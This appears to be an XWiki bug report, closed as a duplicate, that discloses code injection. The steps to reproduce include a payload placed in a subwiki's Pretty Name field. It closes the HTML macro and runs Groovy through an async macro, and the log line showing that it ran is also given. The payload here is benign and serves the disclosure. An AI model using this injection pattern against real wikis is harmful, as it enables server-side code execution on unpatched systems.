Details
-
Bug
-
Resolution: Duplicate
-
Blocker
-
None
-
9.2-rc-1
-
Windows 11 Pro, Edge 114, using a local instance of XWiki 15.5, Jetty/HSQLDB
-
Unknown
-
N/A
-
N/A
-
Description
Steps to reproduce
- Login as an user (e.g. U1)
- Create a subwiki with Pretty Name:
]]{{/html}}{{async}}{{groovy}}services.logging.getLogger("attacker").error("Attack succeeded!"){{/groovy}}{{/async}} - Go to the subwiki
- Navigate to Drawer > Administer Wiki
Expected results
The code is not executed and no error is displayed in the server side logs.
Actual results
The content is executed and the following error is displayed in the logs:
2023-07-05 14:59:35,483 [org.xwiki.rendering.async.internal.AsyncRendererJob@f0b7c79([async, macro, htmlasyncgroovyservicesloggin1:XWiki.AdminSheet, 24, author, xwiki:XWiki.superadmin, rendering.restricted, false, secureDocument, htmlasyncgroovyservicesloggin1:XWiki.AdminSheet, 165])] ERROR attacker - Attack succeeded!
Attachments
Issue Links
- duplicates
-
XWIKI-21110 Remote code execution through the section parameter in Administration as guest
-
- Closed
-